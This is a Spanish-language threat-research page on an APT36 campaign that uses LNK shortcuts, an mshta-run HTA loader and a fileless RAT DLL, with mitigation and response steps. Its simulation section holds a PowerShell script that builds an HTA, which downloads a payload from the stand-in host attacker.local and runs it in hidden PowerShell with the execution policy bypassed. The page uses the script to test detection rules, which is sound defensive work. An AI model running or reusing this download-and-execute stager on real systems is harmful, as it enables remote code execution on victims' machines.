SOC Prime Bias: Crítico

05 Jan 2026 15:57 UTC

APT36: Campaña de Malware LNK Multi-Etapa Dirigida a Entidades del Gobierno Indio

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
APT36: Campaña de Malware LNK Multi-Etapa Dirigida a Entidades del Gobierno Indio
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

APT36 (Transparent Tribe) llevó a cabo una campaña de spear-phishing que entregó un acceso directo LNK malicioso disfrazado de un PDF. Al abrirse, el atajo lanza mshta.exe para ejecutar un cargador basado en HTA que descifra y ejecuta cargas en la memoria, incluyendo un módulo de configuración y un DLL RAT de funciones completas. El malware selecciona dinámicamente los métodos de persistencia basándose en el producto antivirus instalado de la víctima y se conecta a su servidor de comando y control a través de un canal encriptado. La actividad se evalúa como centrada en el espionaje, con el objetivo de atacar a organizaciones gubernamentales y académicas de India para robar datos.

Investigación

Los investigadores analizaron el inusualmente grande archivo LNK, rastrearon el contenido incrustado del HTA alojado en innlive.in, y realizaron ingeniería inversa de la lógica de descifrado. La cadena reveló dos etapas principales: una carga de deserialización .NET utilizada para debilitar o evadir controles de seguridad, seguida de un DLL malicioso sin archivos (por ejemplo, ki2mtmkl.dll / iinneldc.dll) que proporciona funcionalidad RAT. El comportamiento de persistencia se asignó a productos antivirus específicos, y detalles clave de C2, como puerto TCP 8621 y una clave AES utilizada para el tráfico encriptado, se extrajeron durante el análisis.

Mitigación

Restringir o poner en cuarentena los archivos adjuntos de atajo (.lnk) entregados por correo electrónico, especialmente cuando están empaquetados en archivos ZIP. Aplicar políticas de control de aplicaciones para limitar la ejecución de mshta.exe, PowerShell y otros motores de scripts desde rutas escribibles por el usuario. Utilizar detecciones de endpoint para cadenas de procesos involucrando mshta.exe e indicadores de ejecución de DLL en memoria, y aplicar controles de salida estrictos para bloquear la comunicación con dominios desconocidos o no confiables.

Respuesta

Si se detecta la ejecución sospechosa de un LNK, aislar el sistema, capturar imágenes de memoria y buscar indicadores de DLL en memoria vinculados a la etapa RAT. Bloquear dominios maliciosos identificados e infraestructuras IP relacionadas, y rotar credenciales potencialmente expuestas. Realizar una revisión forense para localizar artefactos de persistencia en la carpeta de Inicio y el registro, eliminarlos y validar que no queden puntos de apoyo adicionales.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos del Ataque:
    Un adversario ha obtenido acceso de bajo privilegio a PowerShell en una estación de trabajo comprometida. Para ejecutar una carga remota sin escribir un ejecutable en el disco, el atacante usa mshta.exe para ejecutar un archivo HTA que extrae una puerta trasera PowerShell de un servidor C2. Los pasos son:

    1. Codificar un HTA malicioso mínimo que inicie PowerShell para descargar y ejecutar una carga.
    2. Alojar el HTA en un servidor web (p. ej., http://attacker.local/malicious.hta).
    3. Desde la sesión comprometida de PowerShell, invocar mshta.exe con la URL remota como argumento.

    Esta cadena crea un evento de creación de proceso donde mshta.exe es el hijo de powershell.exe, coincidiendo exactamente con la regla Sigma.

  • Script de Prueba de Regresión:

    #-------------------------------------------------
    # Script de atacante simulado – dispara la regla
    #-------------------------------------------------
    
    # 1. Definir el HTA malicioso (en línea para fines de demostración)
    $htaContent = @"
    <script>
        // Descargar y ejecutar una carga útil de PowerShell de demostración
        var url = 'http://attacker.local/payload.ps1';
        var xhr = new ActiveXObject('Microsoft.XMLHTTP');
        xhr.open('GET', url, false);
        xhr.send();
        var ps = new ActiveXObject('WScript.Shell');
        ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
    </script>
    "@
    
    # 2. Escribir HTA en ubicación temporal (simulando un archivo alojado)
    $tempPath = "$env:TEMPmalicious.hta"
    $htaContent | Set-Content -Path $tempPath -Encoding ASCII
    
    # 3. Lanzar mshta.exe desde PowerShell (el disparador de detección)
    $mshta = (Get-Command mshta.exe).Source
    Write-Host "[*] Lanzando mshta.exe para ejecutar la carga útil HTA..."
    Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
    
    # Opcional: Dormir para permitir que se capture el evento
    Start-Sleep -Seconds 5
    
    # Limpieza (manejada en la siguiente sección)
  • Comandos de Limpieza:

    # Eliminar archivo HTA temporal
    Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
    
    # Detener cualquier proceso mshta.exe que persista (poco probable después de la ejecución normal)
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    Write-Host "[*] Limpieza completa."